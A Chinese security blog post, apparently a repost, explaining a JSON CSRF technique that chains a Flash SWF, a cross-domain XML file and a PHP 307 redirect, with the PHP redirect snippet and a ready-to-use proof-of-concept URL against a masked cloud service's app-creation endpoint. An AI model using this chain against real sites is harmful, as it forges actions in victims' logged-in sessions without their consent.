json csrf html5,JSON CSRF新姿势(示例代码)

微信公众号:安全文库

测试的时候,当应用程序验证了Content-type和data format,这种新姿势依然可以可以使用flash和307重定向来实现JSON CSRF。

要求:

1 制作一个Flash文件

2制作一个跨域XML文件

3制作一个具有307状态码的PHP文件

制作FLASH文件:

这个flash(.swf)文件有我们需要POST的json格式的数据,攻击者必须在目标应用程序上发布,并链接到托管的php文件。

8aa22bed3b6a6c75d1b809b548249fe7.png安全文库精华文章

?

这是测试  SWF文件代码,可以根据需要下载和编辑内容。

跨域XML文件:

该文件应该在攻击者网站的根目录上托管,所以flash文件可以请求攻击者的主机。

注意:如果Flash文件和重定向器页面在同一个域上,则不需要跨域文件。

具有307状态码的PHP文件:

// redirect automatically

header("Location: https://victim.com/user/endpoint/", true, 307);

?>

Flash文件请求这个php文件,这将使307重定向到所提到的应用程序端点,而307是特殊的重定向,它将发布从Flash文件接收到目标端点的JSON数据,并且CSRF将成功发生。

注意:由于这是基于闪存,所以f??lash应该安装在浏览器中使其工作,这在现在正常不过了,但可能在将来不会执行。

好了,举个栗子吧

(所有敏感细节已经遮蔽,此案例仅供技术探讨,切勿模仿,否则后果自负)某云认知服务应用列表创建应用处存JSON CSRF。

f7f25af00e3fe16cde221ce7cc9bf476.png安全文库精华文章

?

19676fb9b70a54a26c7ff03ec7874b7c.png安全文库精华文章

?

可以看到几个关键点

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/json; charset=utf-8

X-Requested-With: XMLHttpRequest

没有验证referrer也没有任何token

构造属于我们自己的POC:

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

b7480d79c901d8fbc7a25d51b7de337a.png安全文库精华文章

?

执行过后,页面是没有任何显示的

返回刷新原始页面

6f5e9795db6c422e00155b5b80bd42b9.png安全文库精华文章

?

可以看到已经成功执行了CSRF创建了一个新的应用

分析一下POC

http://blog.xss.tv/test.swf?jsonData={%22apiId%22:%221%22,%22chargingType%22:0,%22limitCount%22:100,%22limitCycle%22:0,%22appName%22:%22{我是测试}Mannix%22}&php_url=http://blog.xss.tv/test.php&endpoint=http://xxx/ai/console/create

9d468f2621ce7a68b72b6eb57ebdb5d9.png安全文库精华文章

?

第一步,通过flash发送需要POST的json格式的数据,并链接到托管的php文件。

经过307跳转以后实现CSRF

282f47c09a9295f3ad31c3f4076efe98.png安全文库精华文章

?

17d752fa9ee834ccd723b918a32615ae.png安全文库精华文章

?

具体文章参考:

需要测试的可以直接按照我的POC套数据。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值